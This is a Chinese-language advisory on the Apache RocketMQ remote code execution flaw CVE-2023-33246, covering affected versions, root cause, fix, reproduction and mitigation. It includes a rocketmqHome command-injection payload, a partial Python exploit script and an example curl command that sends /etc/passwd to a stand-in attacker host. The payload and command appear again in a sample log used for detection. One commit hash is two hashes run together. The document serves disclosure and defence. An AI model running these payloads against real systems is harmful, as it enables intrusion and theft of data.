一、漏洞简介

1.1 漏洞背景

Apache RocketMQ 是一款开源的分布式消息和流处理平台,被广泛应用于企业级消息队列场景。2023年5月,安全研究人员发现 RocketMQ 存在严重的远程代码执行漏洞,该漏洞已被 CISA(美国网络安全和基础设施安全局)列入已知被利用漏洞目录(KEV),并已被 DreamBus 僵尸网络活跃利用。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-33246
危害等级 CRITICAL / 9.8
漏洞类型 远程代码执行漏洞
披露时间 2023-05-24
影响组件 Apache RocketMQ 安全
属性 详情
CVE编号 CVE-2023-33246
漏洞类型 远程代码执行(RCE)/ 代码注入
危害等级 严重(Critical)
CVSS评分 NVD暂未公布官方评分,根据漏洞性质评估为 9.8(严重)
CWE分类 CWE-94:代码生成控制不当(代码注入)
影响组件 NameServer、Broker、Controller

漏洞描述:在 RocketMQ 5.1.0 及以下版本中,NameServer、Broker 和 Controller 组件暴露在外网且缺乏权限验证。攻击者可以通过更新配置功能执行任意系统命令,命令将以 RocketMQ 运行用户的权限执行。此外,攻击者还可以通过伪造 RocketMQ 协议内容实现相同效果。

<hr />

补充核验信息:公开时间:2023-05-24;NVD 评分:9.8(CRITICAL);CWE:CWE-94。

二、影响范围

2.1 受影响的版本

版本系列 受影响版本
RocketMQ 5.x 5.1.0 及以下版本
RocketMQ 4.x 4.9.5 及以下版本

2.2 不受影响的版本

版本系列 安全版本
RocketMQ 5.x 5.1.1 及以上
RocketMQ 4.x 4.9.6 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 网络暴露:NameServer(默认端口9876)、Broker(默认端口10911)或 Controller 组件直接暴露在公网
  2. 缺乏权限验证:组件未启用访问控制或认证机制
  3. 配置更新功能开启:允许远程更新配置参数

攻击面端口: - NameServer: 9876 - Broker: 10909, 10911, 10912 - Controller: 根据配置

<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞的核心在于 RocketMQ 的配置更新接口(UPDATE_BROKER_CONFIGUPDATE_NAMESRV_CONFIGUPDATE_CONTROLLER_CONFIG)缺乏适当的权限验证和输入过滤。

攻击链路

  1. 配置更新请求:攻击者发送包含恶意配置的更新请求
  2. 配置注入:恶意配置被写入 RocketMQ 配置项
  3. 命令执行:通过修改 rocketmqHome 等关键配置路径,在 RocketMQ 执行相关操作时触发命令注入

关键利用点rocketmqHome 配置项

攻击者可以将 rocketmqHome 从正常路径(如 /home/rocketmq/rocketmq-4.9.4)修改为恶意命令字符串。当 RocketMQ 后续执行调用该路径的操作时,系统会将恶意命令作为 shell 命令执行。

典型攻击 payload 示例

rocketmqHome = -c $@|sh . echo <恶意命令>;
filterServerNums = 1

3.2 源码层面的根因分析(结合源码与补丁对比)

问题代码位置

在漏洞修复补丁中(Commit: 9d411cf04a695e7a3f41036e8377b0aa544d754dc3ada731405c5990c36bf58d50b3e61965300703),官方引入了配置路径保护机制。

修复前的问题: - 配置更新处理器(如 AdminBrokerProcessorDefaultRequestProcessor)未对可更新的配置项进行白名单校验 - 敏感配置项(如 rocketmqHomeconfigStorePathkvConfigPath)可被远程修改

修复方案

// 修复后的配置更新检查逻辑(简化示意)
public RemotingCommand processRequest(ChannelHandlerContext ctx, RemotingCommand request) {
    Properties properties = MixAll.string2Properties(new String(request.getBody()));

    // 检查是否包含禁止更新的配置路径
    for (String key : properties.stringPropertyNames()) {
        if (key.contains("configPath") || key.contains("rocketmqHome")) {
            RemotingCommand response = RemotingCommand.createResponseCommand(ResponseCode.NO_PERMISSION,
                "Can not update config path");
            return response;
        }
    }
    // ... 正常处理逻辑
}

核心修复点: 1. 配置路径保护:禁止运行时更新包含 configPathrocketmqHome 等敏感路径的配置 2. 权限响应:返回 ResponseCode.NO_PERMISSION 并附带提示信息

<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 快速部署漏洞环境:

# 拉取受影响版本镜像
docker pull apache/rocketmq:4.9.4

# 启动 NameServer
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

# 启动 Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv \
    -e "NAMESRV_ADDR=namesrv:9876" \
    -p 10909:10909 -p 10911:10911 -p 10912:10912 \
    apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf

4.2 PoC 演示与测试过程

利用脚本示例(Python):

# CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py
import socket
import sys

def exploit(target_ip, target_port, command):
    # 构造恶意配置更新请求
    payload = f"rocketmqHome=-c $@|sh . echo {command};\nfilterServerNums=1"

    # 发送 UPDATE_BROKER_CONFIG 请求
    # ... 协议构造代码

    print(f"[*] Sending exploit to {target_ip}:{target_port}")
    print(f"[*] Command: {command}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python3 exploit.py <ip> <port> <command>")
        sys.exit(1)

    exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

执行利用

python3 exploit.py 127.0.0.1 10911 "curl http://attacker.com/exfil --data @/etc/passwd"

检测被攻击迹象

查看 Broker 日志,若发现类似以下记录则表明可能已被攻击:

2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl http://attacker.com/exfil --data @/etc/passwd;
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

强烈建议立即升级到安全版本

当前版本 升级目标版本
RocketMQ 5.x ≤ 5.1.0 升级至 5.1.1 或更高版本
RocketMQ 4.x ≤ 4.9.5 升级至 4.9.6 或更高版本

Maven 依赖更新

<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-broker</artifactId>
    <version>4.9.6</version>  <!-- 或 5.1.1+ -->
</dependency>

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

若无法立即升级,请采取以下临时措施:

1. 网络隔离

# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 9876 -s <内网网段> -j ACCEPT
iptables -A INPUT -p tcp --dport 9876 -j DROP
iptables -A INPUT -p tcp --dport 10911 -s <内网网段> -j ACCEPT
iptables -A INPUT -p tcp --dport 10911 -j DROP

2. 启用 ACL 访问控制

broker.conf 中配置:

aclEnable=true

创建 plain_acl.yml 配置文件:

globalWhiteRemoteAddresses:
  - 10.10.103.*
  - 192.168.0.*

accounts:
  - accessKey: admin
    secretKey: <强密码>
    whiteRemoteAddress:
    admin: true

3. WAF 规则拦截

在 WAF 中添加规则拦截包含以下特征的请求: - 请求体中包含 rocketmqHome 参数 - 请求体中包含 shell 特殊字符组合(如 $@|sh

<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • Apache 官方公告:https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
  • GitHub 安全补丁:https://github.com/apache/rocketmq/commit/9d411cf04a695e7a3f41036e8377b0aa544d754d
  • GitHub 安全补丁:https://github.com/apache/rocketmq/commit/c3ada731405c5990c36bf58d50b3e61965300703
  • RocketMQ 4.9.6 发布:https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.6

6.2 其他技术参考资料

  • NVD 漏洞数据库:https://nvd.nist.gov/vuln/detail/CVE-2023-33246
  • CISA 已知被利用漏洞目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • oss-security 邮件列表:http://www.openwall.com/lists/oss-security/2023/07/12/1
  • vsociety 漏洞分析:https://www.vicarius.io/vsociety/posts/rocketmq-rce-cve-2023-33246-33247